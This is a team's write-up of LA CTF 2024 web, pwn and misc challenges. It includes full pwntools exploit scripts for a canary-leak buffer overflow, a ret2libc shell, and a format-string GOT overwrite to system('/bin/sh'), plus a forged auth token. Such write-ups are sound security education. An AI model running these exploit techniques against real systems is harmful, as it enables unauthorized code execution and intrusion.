2024 LACTF Writeup

I’m studying English. Please understand that the grammar may not be right :D

And I looking for global ctf team. Please contact me if you are interested. Discord: is07king

We participated as a team ST3P(My high school students ctf team born in 2007.) and placed 33rd. All the chall were fun.

WEB

terms-and-conditions


We can see a screen like this when you go to the chall site.

When opening console, We faced “No console” message

Looking the source code, we can see that the js code is obfuscated.

we can use js deobfuscator

document.getElementById("accept").addEventListener("click", () => {
  const _0x4eb4e0 = document.getElementById("mainscript");
  if (!_0x4eb4e0 || _0x4eb4e0.innerText.length < 1000) {
    alert("silly you... you don't get to disable javascript...");
  } else {
    alert("ob`wexwkbw\\\\avwwlm\\\\tbp\\\\gfejmjwfoz\\\\mlw\\\\lmf\\\\le\\\\wkf\\\\wfqnp~".split``.map(_0x286792 => String.fromCharCode(_0x286792.charCodeAt(0) ^ 3)).join``);
  }
});

We got the code

alert("ob`wexwkbw\\\\avwwlm\\\\tbp\\\\gfejmjwfoz\\\\mlw\\\\lmf\\\\le\\\\wkf\\\\wfqnp~".split``.map(_0x286792 => String.fromCharCode(_0x286792.charCodeAt(0) ^ 3)).join``);

Enter a script that starts with alert into the console.

Yes We got the flag.

lactf{that_button_was_definitely_not_one_of_the_terms}

flaglang


First, We can see this When We connect the chall site.

We can guess that this site is simple site that informs greethings by country

const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const express = require('express');
const cookieParser = require('cookie-parser');
const yaml = require('yaml');

const yamlPath = path.join(__dirname, 'countries.yaml');
const countryData = yaml.parse(fs.readFileSync(yamlPath).toString());
const countries = new Set(Object.keys(countryData));
const countryList = JSON.stringify(btoa(JSON.stringify(Object.keys(countryData))));

const isoLookup = Object.fromEntries([...countries].map(name => [
  countryData[name].iso,
  {...countryData[name], name }
]));

const app = express();

const secret = crypto.randomBytes(32).toString('hex');
app.use(cookieParser(secret));

app.use('/assets', express.static(path.join(__dirname, 'assets')));

app.get('/switch', (req, res) => {
  if (!req.query.to) {
    res.status(400).send('please give something to switch to');
    return;
  }
  if (!countries.has(req.query.to)) {
    res.status(400).send('please give a valid country');
    return;
  }
  const country = countryData[req.query.to];
  if (country.password) {
    if (req.cookies.password === country.password) {
      res.cookie('iso', country.iso, { signed: true });
    }
    else {
      res.status(400).send(`error: not authenticated for ${req.query.to}`);
      return;
    }
  }
  else {
    res.cookie('iso', country.iso, { signed: true });
  }
  res.status(302).redirect('/');
});

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

app.get('/', (req, res) => {
  const template = fs.readFileSync(path.join(__dirname, 'index.html')).toString();
  const iso = req.signedCookies.iso || 'US';
  const country = isoLookup[iso];
  res
    .status(200)
    .type('html')
    .send(template
      .replaceAll('$msg$', country.msg)
      .replaceAll('$name$', country.name)
      .replaceAll('$iso$', country.iso)
      .replaceAll('$countries$', countryList)
    );
});

app.listen(3000);

Looking the source code. We know that the site import countries.yaml and have a vuln in /view.

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

We just can get country.msg and country.iso when we not insert cookies.

https://flaglang.chall.lac.tf/view?country=Flagistan

So, We connect Like this. and then We got the flag

lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}

jason-web-token


We can see this when we connect chall site. We have to look at the source code.

# app.py
from pathlib import Path

from fastapi import Cookie, FastAPI, Response
from fastapi.responses import HTMLResponse
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel

import auth

app = FastAPI()
app.mount("/static", StaticFiles(directory="static"), name="static")

flag = (Path(__file__).parent / "flag.txt").read_text()
index_html = lambda: (Path(__file__).parent / "index.html").read_text()

class LoginForm(BaseModel):
    username: str
    age: int

@app.post("/login")
def login(login: LoginForm, resp: Response):
    age = login.age
    username = login.username

    if age < 10:
        resp.status_code = 400
        return {"msg": "too young! go enjoy life!"}
    if 18 <= age <= 22:
        resp.status_code = 400
        return {"msg": "too many college hackers, no hacking pls uwu"}

    is_admin = username == auth.admin.username and age == auth.admin.age
    token = auth.create_token(
        username=username,
        age=age,
        role=("admin" if is_admin else "user")
    )

    resp.set_cookie("token", token)
    resp.status_code = 200
    return {"msg": "login successful"}

@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
    userinfo, err = auth.decode_token(token)
    if err:
        resp.status_code = 400
        return {"err": err}
    if userinfo["role"] == "admin":
        return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
    return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}

@app.get("/", response_class=HTMLResponse)
def index():
    return index_html()
# auth.py
import hashlib
import json
import os
import time

secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()

class admin:
    username = os.environ.get("ADMIN", "admin-owo")
    age = int(os.environ.get("ADMINAGE", "30"))

def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")

def decode_token(token):
    if not token:
        return None, "invalid token: please log in"

    datahex, signature = token.split(".")
    data = bytes.fromhex(datahex).decode()
    userinfo = json.loads(data)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

    if hash_(f"{data}:{salted_secret}") != signature:
        return None, "invalid token: signature did not match data"
    return userinfo, None

We can only get the flag when role is admin.

I found this while looking for an Exploit method. We can manipulate timestamp, age. so, we can use the inf. and then, we can sign about all cookies

So, We can make the userinfo like this.

And, We can use the cookie

7b2274696d657374616d70223a20302c2022726f6c65223a202261646d696e222c2022616765223a20496e66696e6974797d.155174883bf5597ce67ce4863c071737709341fdddb90f57cb4f52fa4494d7ae

We got the flag

lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}

PWN

aplet123


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

void print_flag(void) {
  char flag[256];
  FILE *flag_file = fopen("flag.txt", "r");
  fgets(flag, sizeof flag, flag_file);
  puts(flag);
}

const char *const responses[] = {"L",
                                 "amongus",
                                 "true",
                                 "pickle",
                                 "GINKOID",
                                 "L bozo",
                                 "wtf",
                                 "not with that attitude",
                                 "increble",
                                 "based",
                                 "so true",
                                 "monka",
                                 "wat",
                                 "monkaS",
                                 "banned",
                                 "holy based",
                                 "daz crazy",
                                 "smh",
                                 "bruh",
                                 "lol",
                                 "mfw",
                                 "skissue",
                                 "so relatable",
                                 "copium",
                                 "untrue!",
                                 "rolled",
                                 "cringe",
                                 "unlucky",
                                 "lmao",
                                 "eLLe",
                                 "loser!",
                                 "cope",
                                 "I use arch btw"};

int main(void) {
  setbuf(stdout, NULL);
  srand(time(NULL));
  char input[64];
  puts("hello");
  while (1) {
    gets(input); // bof
    char *s = strstr(input, "i'm");
    if (s) {
      printf("hi %s, i'm aplet123\\n", s + 4);
    } else if (strcmp(input, "please give me the flag") == 0) {
      puts("i'll consider it");
      sleep(5);
      puts("no");
    } else if (strcmp(input, "bye") == 0) {
      puts("bye");
      break;
    } else {
      puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
    }
  }
}

It is just simple bof.

from pwn import *

# p = process("./aplet123",level="debug")
p = remote("chall.lac.tf",31123)

flag = 0x00000000004011e6

p.recvuntil(b"hello")
pause()

payload = b"A"*64
payload += b"B"*5
payload += b"i'm"

p.sendline(payload)
p.recvuntil(b"hi ")

canary = u64(b"\\x00"+(p.recv(7)))

payload = b"bye"
payload += b"A"*61
payload += b"B"*8
payload += p64(canary)
payload += b"B"*8
payload += p64(flag)

p.sendline(payload)
p.sendline(b"bye")

p.interactive()

we got the flag.

lactf{so_untrue_ei2p1wfwh9np2gg6}

52-card-monty


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define DECK_SIZE 0x52
#define QUEEN 1111111111

void setup() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  srand(time(NULL));
}

void win() {
  char flag[256];

  FILE *flagfile = fopen("flag.txt", "r");

  if (flagfile == NULL) {
    puts("Cannot read flag.txt.");
  } else {
    fgets(flag, 256, flagfile);
    flag[strcspn(flag, "\\n")] = '\\0';
    puts(flag);
  }
}

long lrand() {
  long higher, lower;
  higher = (((long)rand()) << 32);
  lower = (long)rand();
  return higher + lower;
}

void game() {
  int index;
  long leak;
  long cards[52] = {0};
  char name[20];

  for (int i = 0; i < 52; ++i) {
    cards[i] = lrand();
  }

  index = rand() % 52;
  cards[index] = QUEEN;

  printf("==============================\\n");

  printf("index of your first peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 1: %lu\\n", cards[0]);

  printf("==============================\\n");

  printf("index of your second peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 2: %lu\\n", cards[0]);

  printf("==============================\\n");

  printf("Show me the lady! ");
  scanf("%d", &index);

  printf("==============================\\n");

  if (cards[index] == QUEEN) {
    printf("You win!\\n");
  } else {
    printf("Just missed. Try again.\\n");
  }

  printf("==============================\\n");

  printf("Add your name to the leaderboard.\\n");
  getchar();
  printf("Name: ");
  fgets(name, 52, stdin);

  printf("==============================\\n");

  printf("Thanks for playing, %s!\\n", name);
}

int main() {
  setup();
  printf("Welcome to 52-card monty!\\n");
  printf("The rules of the game are simple. You are trying to guess which card "
         "is correct. You get two peeks. Show me the lady!\\n");
  game();
  return 0;
}

It has OOB and BOF.

from pwn import *

# r = process("./monty",level="debug")
r = remote("chall.lac.tf",31132,level="debug")
p = process("./random")

p.recvuntil(b"is correct. You get two peeks. Show me the lady!\\n")
rand = p.recv().strip()

r.recvuntil(b"index of your first peek? ")
r.sendline(b"-27")
r.recvuntil(b"Peek 1: ")
canary = int(r.recv(20))
print(canary)
r.sendline(b"81")
r.recvuntil(b"Peek 2: ")
pie = int(r.recv(14))
print(hex(pie))
flag = pie + 0x139
r.recvuntil(b"Show me the lady! ")
r.sendline(rand)
r.recvuntil(b"Name: ")
payload = b"A"*24
payload += p64(canary)
payload += b"B"*8
payload += p64(flag)
r.sendline(payload)

r.interactive()

What's interesting is that I thought it deals with using srandom and got an index of QUEEN.

we got the flag.

lactf{m0n7y_533_m0n7y_d0}

sus


#include <stdio.h>

void sus(long s) {}

int main(void) {
  setbuf(stdout, NULL);
  long u = 69;
  puts("sus?");
  char buf[42];
  gets(buf);
  sus(u);
}

It has BOF vuln. We have to manipulate rdi register.

from pwn import *

# context.log_level=1
# context.terminal = ['tmux','splitw','-h']
# target='./sus'
# p=gdb.debug(target,gdbscript=
# '''
#     b *main+81
#     c
# ''')
# p = process("./sus",level="debug")
p = remote("chall.lac.tf",31284,level="debug")
e = ELF("./sus/sus",checksec=False)
libc = ELF("./sus/libc.so.6",checksec=False)

ret = 0x0000000000401016
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
main = 0x0000000000401151

p.recvuntil(b"sus?\\n")

payload = b"A"*48
payload += b"B"*8
payload += p64(puts_got)
payload += b"C"*8
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)

puts_leak = u64(p.recv(6)+b"\\x00"*2)

lb = puts_leak - libc.symbols["puts"]
print(hex(lb))
system = lb + libc.symbols["system"]
binsh = lb + list(libc.search(b"/bin/sh"))[0]

p.recvuntil(b"sus?\\n")

payload = b"A"*48
payload += b"B"*8
payload += p64(binsh)
payload += b"C"*8
payload += p64(ret)
payload += p64(system)
p.sendline(payload)

p.interactive()

we got the flag.

lactf{amongsus_aek7d2hqhgj29v21}

pizza


#include <stdio.h>
#include <string.h>

const char *available_toppings[] = {"pepperoni",  "cheese",     "olives",
                                    "pineapple",  "apple",      "banana",
                                    "grapefruit", "kubernetes", "pesto",
                                    "salmon",     "chopsticks", "golf balls"};
const int num_available_toppings = sizeof(available_toppings) / sizeof(available_toppings[0]); // 12

int main(void) {
  setbuf(stdout, NULL);
  printf("Welcome to kaiphait's pizza shop!\\n");
  while (1) {
    printf("Which toppings would you like on your pizza?\\n");
    for (int i = 0; i < num_available_toppings; ++i) { // 12번 반복
      printf("%d. %s\\n", i, available_toppings[i]);
    }
    printf("%d. custom\\n", num_available_toppings);
    char toppings[3][100];
    for (int i = 0; i < 3; ++i) {
      printf("> ");
      int choice;
      scanf("%d", &choice);
      if (choice < 0 || choice > num_available_toppings) {
        printf("Invalid topping");
        return 1;
      }
      if (choice == num_available_toppings) {
        printf("Enter custom topping: ");
        scanf(" %99[^\\n]", toppings[i]); 
      } else {
        strcpy(toppings[i], available_toppings[choice]);
      }
    }
    printf("Here are the toppings that you chose:\\n");
    for (int i = 0; i < 3; ++i) {
      printf(toppings[i]); // stack에 있는 fsb
      printf("\\n");
    }
    printf("Your pizza will be ready soon.\\n");
    printf("Order another pizza? (y/n): ");
    char c;
    scanf(" %c", &c);
    if (c != 'y') {
      break;
    }
  }
}

We can use FSB vuln.

from pwn import *

# context.log_level=1
# context.terminal = ['tmux','splitw','-h']

# target='./pizza'
# p=gdb.debug(target,gdbscript=
# '''

# ''')
# p = process("./pizza",level="debug")
p = remote("chall.lac.tf",31134,level="debug")
e = ELF("./pizza",checksec=False)
libc = ELF("./libc.so.6",checksec=False)

# pause()
p.recvuntil(b"> ",timeout=5)
p.sendline(b"12")
p.sendline(b"%67$p %49$p")
p.recvuntil(b"> ",timeout=5)
p.sendline(b"0")
p.recvuntil(b"> ",timeout=5)
p.sendline(b"0")
p.recvuntil(b"Here are the toppings that you chose:\\n")
p.sendline(b"y")
lb = int(p.recv(14),16) - (libc.symbols["__libc_start_main"] + 133)
p.recv(1)
pie = int(p.recv(14),16) - 0x1189
printf = pie + e.got["printf"]
print(hex(printf))
system = lb+libc.symbols["system"]
system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

low = system_low

if system_middle > system_low:
    middle = system_middle - system_low
else:
    middle = 0x10000 + system_middle - system_low

if system_high > system_middle:
    high = system_high - system_middle
else:
    high = 0x10000 + system_high - system_middle

p.recvuntil(b"> ",timeout=5)
p.sendline(b"12")
payload = b""
payload += f'%{low}c%20$hn'.encode()
payload += f'%{middle}c%21$hn'.encode()
payload += f'%{high}c%22$hn'.encode()
p.sendline(payload)
p.recvuntil(b"> ",timeout=5)
p.sendline(b"12")
payload = b"/bin/sh\\x00"
payload += b"AAAA"
payload += p64(printf)
payload += p64(printf+2)
payload += p64(printf+4)
p.sendline(payload)
p.recvuntil(b"> ",timeout=5)
p.sendline(b"0")
p.sendline(b"id")

p.interactive()

we got the flag.

lactf{golf_balls_taste_great_2tscx63xm3ndvycw}

MISC

infinite loop


I guess this chall is just a simple Google Form trick. So, I looked Source code about this web page.

and I found the flag.

lactf{l34k1ng_4h3_f04mz_s3cr3tz}

mixed signals


What's funny is that I asked the question before Note was added. After the note was added, I realized it was just a listening test lol.

So we can use this. and listen becarefully the message.wav

lactf{c4n_y0u_plz_unm1x_my_s1gn4lz}

one by one


This chall also deal with google form trick.

look at the source code, you can see that only the correct characters have different numbers. This is a sign leading to correct way

lactf{1_by_0n3_by3_un0_*,"g1'}

gacha


We have two diffrent png file. I assumed the chall deal with an xor of two photos.

lactf{zh0ng_l7_x_ch7ld3_b4t_w7th_x0r}

my poor git


This deals with the git transfer protocol about Dumb protocol.

First, run the git init command to create a .git file on your computer.

And then, Just follow the way in this web site https://git-scm.com/book/en/v2/Git-Internals-Transfer-Protocols

$ GET <https://poor-git.chall.lac.tf/flag.git/info/refs>
217ecd3c93b00c6b7404473d3bdfcb222a22edf4        refs/heads/main
$ GET <https://poor-git.chall.lac.tf/flag.git/HEAD>
ref: refs/heads/main
$ mkdir ./.git/objects/21
$ GET <https://poor-git.chall.lac.tf/flag.git/objects/21/7ecd3c93b00c6b7404473d3bdfcb222a22edf4> > ./.git/objects/21/7ecd3c93b00c6b7404473d3bdfcb222a22edf4

And then, We can use this command. We just have to follow the parent commit where the flag appears.

we got the flag.

lactf{u51n9_dum8_g17_pr070c01z}

discord events


I can't look at the event description again now that CTF is over, but it was about Stegcloak.

https://github.com/pbrucla/cyanea/blob/main/packages/cyanea-discord/index.ts

We can see that the bot uses stegcloak.

Looking for a fun way to spend the weekend? Then join LA CTF! Our cybersecurity event and capture-the-flag ‍⁤‌‍‌⁢‍⁢‍⁡‍‍⁡⁢‍⁢‍⁢‌‍‍⁢‍⁢‍⁡‍‌⁢⁡‍⁢⁤‍⁢‌⁡‌⁡⁢⁡‍⁡‍⁡‌‍‌⁡‍‍‍⁢‌⁢‌⁢‌⁢⁡⁢‌⁢⁤‌‍⁤‍⁡‍⁢‌⁢⁡⁢‌⁤⁡‍‍⁢⁤⁣⁢‌⁢⁤‍‌‍⁤⁣⁡‍⁡⁢⁡‍⁢⁤⁡⁣⁡‍⁢‌⁡‌‍⁤‍⁢‍⁢‌⁢‌⁡‌⁢‍⁤⁣⁡‌⁢‌⁢‌⁢‌⁡‍⁢⁤⁣⁡⁢‍⁢‍⁡⁣⁡style competition is perfect for everyone, from complete beginners to advanced hackers. From February 16th - 18th, you'll have the chance to solve challenges, develop new skills, make new friends, and have a great time! In addition to the thrilling competition, LA CTF will also feature speeches from a variety of cybersecurity experts, including UCLA professors and alumni, prizes, and many other events and learning opportunities. Regardless of your experience level, major, or year, LA CTF has something for you! Don’t have a lot of time? Feel free to register and commit as much time as you can! We look forward to seeing you there!

we got the flag.

lactf{j311yf15h_1n_da_cyb3r_s3a}